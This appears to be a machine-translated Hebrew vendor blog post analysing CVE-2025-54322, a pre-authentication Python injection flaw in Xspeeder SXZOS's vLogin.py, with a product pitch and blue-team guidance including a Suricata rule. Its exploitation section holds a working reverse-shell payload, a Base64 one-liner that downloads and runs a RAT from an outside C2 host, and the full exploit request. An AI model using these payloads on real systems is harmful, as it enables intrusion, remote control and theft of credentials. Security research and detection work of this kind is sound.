כותרת Penligent

תשתית יום אפס: ניתוח פורנזי של CVE-2025-54322 ומנגנון הזרקת Python

בנוף האבטחה הרגיש של סוף 2025, בעוד צוותי Red Teams עסוקים ביצירת דוגמאות עוינות עבור מודלים לשוניים גדולים, התשתית הבסיסית התומכת בעומסי העבודה של בינה מלאכותית זו מתפוררת תחת נטל הפגיעות הקיימות. החשיפה של CVE-2025-54322 (ציון CVSS 10.0, קריטי) משמש תזכורת אכזרית: מודלים מתוחכמים של בינה מלאכותית מתארחים לעתים קרובות על גבי בסיסים שבריריים.

פגיעות זו משפיעה על Xspeeder SXZOS, מערכת הפעלה מיוחדת המשמשת באופטימיזציה של רשתות WAN ובמכשירים לאחסון במטמון — מכשירים המוצבים לעתים קרובות בקצה מרכזי הנתונים כדי להאיץ את קליטת הנתונים עבור אשכולות אימון AI. CVE-2025-54322 הוא ביצוע קוד מרחוק (RCE) לפני אימות פגיעות המאפשרת לתוקף לבצע קוד Python שרירותי כ שורש בבקשת HTTP אחת, ללא אימות.

עבור חוקרי אבטחה מנוסים, CVE-2025-54322 הוא יותר מבאג ספציפי לספק; הוא מהווה שיעור מאלף ב "ביצוע דינמי לא מאובטח". הוא מדגיש תבנית מסוכנת הנפוצה בצינורות MLOps ובמכשירים Gateway: אמון בקלט המשתמש בתוך סביבות ריצה של שפות דינמיות. מאמר זה נטש את הדיווח השטחי כדי לבצע שחזור פורנזי של vLogin.py שרשרת ההרג.

תשתית יום אפס: ניתוח פורנזי של CVE-2025-54322 ומנגנון הזרקת Python

ארכיטקטורת הכישלון: כאשר Base64 פוגש exec()

הגורם הבסיסי ל-CVE-2025-54322 טמון באמון הקטסטרופלי שממשק הניהול של Xspeeder נותן בקלט משתמשים לא מאומת. הפגיעות נמצאת בתוך vLogin.py סקריפט, השומר על הגישה הניהולית.

בהנדסת תוכנה מאובטחת, העברת קלט המשתמש ישירות לפונקציות כמו exec(), eval(), או os.system() ידוע כ כיור הזרקה. היישום של Xspeeder הצליח להפוך את השקע הזה למסוכן עוד יותר על ידי טשטושו.

פירוק וקטור התקיפה

התוקפים מפעילים את הפגיעות על ידי שליחת בקשת HTTP GET או POST מתוכננת לכתובת /vLogin.py. הפרמטרים הפגיעים שזוהו הם: chkid, כותרת, ו oIP.

  1. נקודת הכניסה: בקשה לא מאומתת מגיעה לשרת האינטרנט.
  2. שכבת ההסוואה: סקריפט ה-backend מחזיר את chkid פרמטר. במקום לאמת אותו מול טבלת הפעלה, הוא מנסה פענוח Base64 המחרוזת.
  3. כיור הביצוע: זרם הבתים המפוענח מועבר לאחר מכן ישירות לפרימיטיב ביצוע של Python — ככל הנראה exec()—ללא כל חיטוי או סנדבוקסינג.

ארכיטקטורה זו יוצרת "נקודה עיוורת" עבור WAFs מסורתיים. כלל חומת אש סטנדרטי עשוי לחסום את מילת המפתח ייבוא os, אבל זה יעבור בשמחה aW1wb3J0IG9z, ורואה בו מזהה או אסימון הפעלה בלתי מזיק.

תשתית יום אפס: ניתוח פורנזי של CVE-2025-54322 ומנגנון הזרקת Python

שידור חוזר טכני: הפיכת המטען לנשק

כדי להבין את חומרת הבעיה, נבנה מחדש את פרימיטיב הניצול מנקודת המבט של גורם איום מתקדם.

שלב 1: בניית המטען

מכיוון ששירות האינטרנט פועל כ-Root (חטא נפוץ בקושחת מכשירים), אין צורך לדאוג למגבלות הרשאה. המטרה שלנו היא מעטפת הפוכה יציבה.

פייתון

`# מטען Python גולמי import socket, subprocess, os

הקמת חיבור חזרה ל-C2

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.1.100”, 4444))

תיאורי קבצים כפולים עבור stdin, stdout, stderr

os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2)

הפעל מעטפת אינטראקטיבית

p = subprocess.call([“/bin/sh”, “-i”])`

שלב 2: קידוד ואספקה

התוקף מקודד את המטען ב-Base64 כדי שיתאים לפורמט הצפוי על ידי vLogin.py.

באש

`# קידוד המטען (גרסה חד-שורתית) echo -n “import os; os.popen(‘wget http://c2.com/rat -O /tmp/rat; chmod +x /tmp/rat; /tmp/rat’)” | base64

פלט: aW1wb3J0IG9zOyBvcy5wb3Blbigid2dldCBodHRwOi8vYzIuY29tL3JhdCAtTyAvdG1wL3JhdDsgY2htb2QgK3ggL3RtcC9yYXQ7IC90bXAvcmF0Iik=`

בקשת הניצול:

HTTP

GET /vLogin.py?chkid=aW1wb3J0IG9zOyBvcy5wb3Blbigid2dldCBodHRwOi8vYzIuY29tL3JhdCAtTyAvdG1wL3JhdDsgY2htb2QgK3ggL3RtcC9yYXQ7IC90bXAvcmF0Iik= HTTP/1.1 מארח: target-appliance.local סוכן משתמש: Mozilla/5.0

שלב 3: השפעת הביצוע

השרת מפענח את מחרוזת Base64 ומבצע את קוד Python באופן מיידי. התוקף מקבל גישה לשורת הפקודה של root מבלי להתחבר.

לאחר הניצול: האיום על תשתית ה-AI

מדוע מהנדס אבטחת AI צריך להתעניין במאיץ WAN? כי תנועה לרוחב זה שם המשחק.

מכשירים כמו Xspeeder ממוקמים לרוב בקצה הרשת, ומגשרים על הפער בין האינטרנט הציבורי לבין אשכולות המחשוב הפנימיים בעלי הביצועים הגבוהים (HPC) המשמשים לאימון בינה מלאכותית.

  1. איסוף אישורים: לאחר השגת הרשאות root בשער, התוקפים יכולים לשפוך את הזיכרון או לרגל את התעבורה כדי ליירט מפתחות API לשירותים פנימיים כגון MLflow, Kubernetes (K8s), או AWS S3 דליים שבהם נמצאים מערכי הנתונים.
  2. איש באמצע (MitM): על ידי שליטה בשכבת המטמון, תוקפים יכולים לזהם את הנתונים המוזנים למודלים האימוניים, מה שמוביל לירידה עדינה וארוכת טווח בביצועי המודל או להחדרת דלת אחורית.
  3. התמדה: תוקפים יכולים לשנות את vLogin.py הסקריפט עצמו כדי לרשום סיסמאות מנהל לגיטימיות בקובץ מוסתר, ובכך להבטיח שהם ישמרו על הגישה גם לאחר אתחול מחדש של המכשיר.

זיהוי מבוסס בינה מלאכותית: היתרון של Penligent

איתור CVE-2025-54322 מדגיש את המגבלות של סורקי פגיעות ישנים. סורק סטנדרטי מסתמך על חתימות סטטיות (למשל, התאמת מספרי גרסה) או פוזינג גנרי (למשל, שליחת ' או 1=1). הוא חסר את ההבנה הסמנטית הדרושה ליצירת מטען Python תקף המקודד ב-Base64.

זה המקום שבו Penligent.ai מייצג שינוי פרדיגמטי. כפלטפורמת בדיקות חדירה חכמה מבוססת בינה מלאכותית מהדור הבא, Penligent עושה שימוש ב- "פוזינג דינמי המודע לפרוטוקולים".

  1. ניתוח פרמטרים סמנטיים: סוכני ה-AI של Penligent מנתחים את האנטרופיה והמבנה של chkid פרמטר. מכיוון שהוא מזהה אותו כמחרוזת Base64, הסוכן לא מבצע פאזל באופן עיוור. הוא מפענח את ערכי הדוגמה כדי להבין את מבנה הנתונים הצפוי, ואז יוצר באופן חכם "מטעני בדיקה" — כגון מטען מקודד ב-Base64. time.sleep(5) או קריאת חיפוש DNS.
  2. קורלציה OOB: Penligent מנטרת משוב ערוצי צד. אם פקודת השינה של Python שהוזרק גורמת לעיכוב מדויק של 5 שניות בתגובת השרת, או אם מטען ה-DNS מפעיל התראה במאזין OOB של Penligent, ה-AI מסמן באופן מוחלט סיכון RCE קריטי. הדבר מפחית באופן דרמטי את מספר התוצאות השליליות השגויות בהשוואה לסורקים המחפשים רק שגיאות HTTP 500.

בעידן שבו התשתית מוגדרת על ידי קוד, Penligent מספקת את הקפדנות האוטומטית הדרושה כדי לאתר את נקודות התורפה ה"גרעיניות" הללו, המוסתרות ברכיבי "קופסה שחורה" היקפיים.

מדריך צוות כחול: איתור והגנה

עבור הצוות הכחול, ההגנה מפני CVE-2025-54322 מחייבת ניטור הן של תעבורת הרשת והן של התנהגות נקודות הקצה.

1. חתימות רשת (YARA/Suricata)

מכיוון שהמטען מקודד ב-Base64, לא ניתן לחפש ייבוא os ישירות. עם זאת, ניתן לזהות את החריגה של מחרוזות Base64 ארוכות ב- chkid פרמטר.

דוגמה לכלל Suricata:

YAML

התראה http כל כל -> $HOME_NET כל (msg:"ET EXPLOIT אפשרי CVE-2025-54322 Xspeeder RCE ניסיון"; \\ flow:established,to_server; \\ http.uri; content:"/vLogin.py"; nocase; \\ http.uri; content:"chkid="; distance:0; \\ pcre:"/chkid=[a-zA-Z0-9+\\/]{50,}/"; \\ classtype:web-application-attack; sid:1000001; rev:1;)

2. ניתוח יומנים

בדוק את יומני הגישה לאתר שלך. חפש בקשות ל vLogin.py שם chkid גודל הפרמטר גדול משמעותית מהבסיס (מזהי הפעלה רגילים הם בדרך כלל קצרים).

3. תיקון מיידי

  • בידוד רשת: הסר מיד את ממשק הניהול של מכשירי Xspeeder מהאינטרנט הציבורי. הגבל את הגישה ל-VLAN או VPN ייעודיים לניהול.
  • תיקון: החל את עדכון הקושחה העדכני ביותר מהספק, המנקה את chkid קלט.
  • סקירת אדריכלות: בצע ביקורת של כל הכלים הפנימיים המבוססים על Python. ודא שאף סקריפט אינו משתמש ב- exec() או eval() על נתונים המסופקים על ידי המשתמש. החלף אותם בספריות ניתוח בטוחות (לדוגמה, json.loads או ast.literal_eval).

סיכום

CVE-2025-54322 מהווה תזכורת חדה לכך שבעודנו בונים את עתיד הבינה המלאכותית, אנו עומדים על כתפיהם של ענקים חסרי ביטחון. הפגיעות הזו מדגימה כי כשלים בסיסיים באימות קלט עדיין עלולים להוביל לפגיעה מוחלטת במערכת בשנת 2025.

עבור מהנדסי אבטחה, הלקח ברור: אל תסמכו על שום דבר. אמתו הכל. והשתמשו בכלים מבוססי בינה מלאכותית כמו Penligent כדי לאמת את אבטחת התשתית שלכם לפני שתוקף יעשה זאת.

הפניות אמינות

שתף את הפוסט:
פוסטים קשורים
he_ILHebrew